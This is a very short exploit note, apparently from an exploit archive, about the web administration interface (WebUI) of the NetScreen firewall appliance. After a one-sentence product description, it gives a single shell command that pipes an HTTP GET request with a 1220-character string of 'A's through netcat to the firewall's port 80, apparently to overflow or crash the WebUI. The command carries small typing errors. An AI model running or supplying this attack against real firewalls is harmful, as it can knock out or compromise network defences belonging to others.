NetScreen Firewall is a network appliance used to secure against intruders and various types of attacks to a network. NetScreen has a Web administrative Interface (WebUI) used to configure and set the firewall settings.

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80 |
